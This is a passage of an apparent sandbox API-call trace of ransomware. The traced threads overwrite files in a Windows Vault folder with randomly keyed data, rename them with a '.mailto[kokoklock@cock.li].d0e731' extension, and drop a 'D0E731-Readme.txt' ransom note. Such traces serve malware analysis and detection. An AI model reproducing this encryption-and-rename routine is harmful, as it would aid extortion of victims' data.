lpParameter=0x347f3d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438 [0082.991] FindNextFileW (in: hFindFile=0x33e0198, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fafccda, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a8e638, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2fafccda, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0082.992] FindClose (in: hFindFile=0x33e0198 | out: hFindFile=0x33e0198) returned 1 [0082.992] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f51f0) returned 1 [0082.992] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ed70) returned 1 [0082.992] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cc9f0) returned 1 [0082.992] RtlExitUserThread (Status=0x0) Thread: id = 930 os_tid = 0x158c [0079.481] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch")) returned 0x20 [0079.482] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", dwFileAttributes=0x20) returned 1 [0079.482] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x784 [0079.482] GetFileSizeEx (in: hFile=0x784, lpFileSize=0x21e3fef4 | out: lpFileSize=0x21e3fef4*=158) returned 1 [0079.482] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x9a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.482] ReadFile (in: hFile=0x784, lpBuffer=0x21e3fec8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21e3fec4, lpOverlapped=0x0 | out: lpBuffer=0x21e3fec8*, lpNumberOfBytesRead=0x21e3fec4*=0x4, lpOverlapped=0x0) returned 1 [0079.483] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.483] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a60 [0079.483] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491970 [0079.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491c68 [0079.484] NtQuerySystemTime (in: CurrentTime=0x21e3fea0 | out: CurrentTime=0x21e3fea0*=132121176373761095) returned 0x0 [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0xf87d21d5 [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0xb7d1f531 [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0x22c84381 [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0xbaae32a6 [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0x5a7c7edf [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0xc195e8fb [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0x77b5d76f [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0x18e5c35a [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0x8e7b8982 [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0xfe33c34a [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0xf797d471 [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0x6a21d52b [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0xfc9d8b8d [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0xdfb2f717 [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0xd931c291 [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0x11fb6608 [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0xd7c7cbc7 [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0xcbbf0147 [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0x7525b64e [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0x740247e3 [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0xe462cd2c [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0xe325249b [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0x334f0b8 [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0x799f1fd7 [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0xd1059a14 [0079.484] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0x3ca45630 [0079.485] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0x2c427679 [0079.485] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0x6e34b72b [0079.485] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0xd1c10530 [0079.485] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0x6eb5e365 [0079.485] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0x55f0752a [0079.485] RtlRandom (in: Seed=0x21e3feac | out: Seed=0x21e3feac) returned 0xab618f37 [0079.496] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.496] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a60) returned 1 [0079.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34918f8 [0079.496] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34918f8) returned 1 [0079.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.496] ReadFile (in: hFile=0x784, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x9e, lpNumberOfBytesRead=0x21e3fea0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x21e3fea0*=0x9e, lpOverlapped=0x0) returned 1 [0079.496] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21e3fe68 | out: lpNewFilePointer=0x0) returned 1 [0079.496] WriteFile (in: hFile=0x784, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x9e, lpNumberOfBytesWritten=0x21e3fe9c, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x21e3fe9c*=0x9e, lpOverlapped=0x0) returned 1 [0079.497] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491808 [0079.497] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a10 [0079.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a10) returned 1 [0079.497] WriteFile (in: hFile=0x784, lpBuffer=0x3491808*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21e3fe98, lpOverlapped=0x0 | out: lpBuffer=0x3491808*, lpNumberOfBytesWritten=0x21e3fe98*=0x20, lpOverlapped=0x0) returned 1 [0079.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491808) returned 1 [0079.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.497] WriteFile (in: hFile=0x784, lpBuffer=0x3491ce0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x21e3fec4, lpOverlapped=0x0 | out: lpBuffer=0x3491ce0*, lpNumberOfBytesWritten=0x21e3fec4*=0x8, lpOverlapped=0x0) returned 1 [0079.497] WriteFile (in: hFile=0x784, lpBuffer=0x21e3fedc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21e3fec4, lpOverlapped=0x0 | out: lpBuffer=0x21e3fedc*, lpNumberOfBytesWritten=0x21e3fec4*=0x4, lpOverlapped=0x0) returned 1 [0079.497] WriteFile (in: hFile=0x784, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21e3fec4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x21e3fec4*=0x4, lpOverlapped=0x0) returned 1 [0079.497] WriteFile (in: hFile=0x784, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x21e3fec4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x21e3fec4*=0x6c, lpOverlapped=0x0) returned 1 [0079.497] WriteFile (in: hFile=0x784, lpBuffer=0x3491970*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21e3fec4, lpOverlapped=0x0 | out: lpBuffer=0x3491970*, lpNumberOfBytesWritten=0x21e3fec4*=0x20, lpOverlapped=0x0) returned 1 [0079.498] WriteFile (in: hFile=0x784, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21e3fec4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x21e3fec4*=0x4, lpOverlapped=0x0) returned 1 [0079.498] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491970) returned 1 [0079.498] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491c90) returned 1 [0079.498] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491ce0) returned 1 [0079.498] CloseHandle (hObject=0x784) returned 1 [0079.498] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x126) returned 0x33e20f8 [0079.498] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" [0079.498] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.mailto[kokoklock@cock.li].d0e731" [0079.498] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.499] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.499] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0079.499] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", dwFileAttributes=0x20) returned 0 [0079.499] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x34308c0 [0079.500] wcscpy (in: _Dest=0x34308c0, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" [0079.500] wcscat (in: _Dest=0x34308c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\D0E731-Readme.txt" [0079.500] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\d0e731-readme.txt")) returned 0xffffffff [0079.587] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0079.597] WriteFile (in: hFile=0x438, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x21e3fec0, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x21e3fec0*=0x481, lpOverlapped=0x0) returned 1 [0079.598] CloseHandle (hObject=0x438) returned 1 [0079.598] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34308c0) returned 1 [0079.598] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341df08) returned 1 [0079.598] RtlExitUserThread (Status=0x1) Thread: id = 931 os_tid = 0x1590 [0079.600] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch")) returned 0x20 [0079.600] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch", dwFileAttributes=0x20) returned 1 [0079.600] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0079.601] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x21ebfc88 | out: lpFileSize=0x21ebfc88*=110) returned 1 [0079.601] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.601] ReadFile (in: hFile=0x438, lpBuffer=0x21ebfc5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21ebfc58, lpOverlapped=0x0 | out: lpBuffer=0x21ebfc5c*, lpNumberOfBytesRead=0x21ebfc58*=0x4, lpOverlapped=0x0) returned 1 [0079.602] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491f60 [0079.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e70 [0079.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34920a0 [0079.602] NtQuerySystemTime (in: CurrentTime=0x21ebfc34 | out: CurrentTime=0x21ebfc34*=132121176375011194) returned 0x0 [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x52e5c26e [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x730d1bf5 [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x13ef4a89 [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x8ca2a9a6 [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0xecaa0cdc [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x67d8b161 [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x3ea9cc0a [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x739890fb [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x1de33e87 [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x94b49665 [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x3ccf50ea [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x2d687f30 [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x740eb4f4 [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0xb7086837 [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0xf72eb36a [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0xc9f2b0fe [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0xd2f4fb9c [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0xa7d430c0 [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x626c159f [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0xf08b7282 [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x3ec15dc3 [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x874aa5e1 [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x2e002e54 [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x314e084c [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0xdcccd10 [0079.602] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0xdfa9cc7c [0079.603] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0xd85f16d8 [0079.603] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0xf6f6e6e4 [0079.603] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x8f10f263 [0079.603] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0x849ed52b [0079.603] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0xa4dacab4 [0079.603] RtlRandom (in: Seed=0x21ebfc40 | out: Seed=0x21ebfc40) returned 0xa49e52a0 [0079.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491f60) returned 1 [0079.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0079.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0079.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.614] ReadFile (in: hFile=0x438, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x6e, lpNumberOfBytesRead=0x21ebfc34, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x21ebfc34*=0x6e, lpOverlapped=0x0) returned 1 [0079.614] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ebfbfc | out: lpNewFilePointer=0x0) returned 1 [0079.614] WriteFile (in: hFile=0x438, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0x21ebfc30, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x21ebfc30*=0x6e, lpOverlapped=0x0) returned 1 [0079.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0079.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0079.614] WriteFile (in: hFile=0x438, lpBuffer=0x3492000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21ebfc2c, lpOverlapped=0x0 | out: lpBuffer=0x3492000*, lpNumberOfBytesWritten=0x21ebfc2c*=0x20, lpOverlapped=0x0) returned 1 [0079.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.615] WriteFile (in: hFile=0x438, lpBuffer=0x3492190*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x21ebfc58, lpOverlapped=0x0 | out: lpBuffer=0x3492190*, lpNumberOfBytesWritten=0x21ebfc58*=0x8, lpOverlapped=0x0) returned 1 [0079.615] WriteFile (in: hFile=0x438, lpBuffer=0x21ebfc70*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21ebfc58, lpOverlapped=0x0 | out: lpBuffer=0x21ebfc70*, lpNumberOfBytesWritten=0x21ebfc58*=0x4, lpOverlapped=0x0) returned 1 [0079.615] WriteFile (in: hFile=0x438, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21ebfc58, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x21ebfc58*=0x4, lpOverlapped=0x0) returned 1 [0079.615] WriteFile (in: hFile=0x438, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x21ebfc58, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x21ebfc58*=0x6c, lpOverlapped=0x0) returned 1 [0079.615] WriteFile (in: hFile=0x438, lpBuffer=0x3491e70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21ebfc58, lpOverlapped=0x0 | out: lpBuffer=0x3491e70*, lpNumberOfBytesWritten=0x21ebfc58*=0x20, lpOverlapped=0x0) returned 1 [0079.615] WriteFile (in: hFile=0x438, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21ebfc58, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x21ebfc58*=0x4, lpOverlapped=0x0) returned 1 [0079.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0079.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34920f0) returned 1 [0079.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492190) returned 1 [0079.615] CloseHandle (hObject=0x438) returned 1 [0079.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x126) returned 0x33e20f8 [0079.615] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" [0079.616] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.mailto[kokoklock@cock.li].d0e731" [0079.616] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" (normalized: 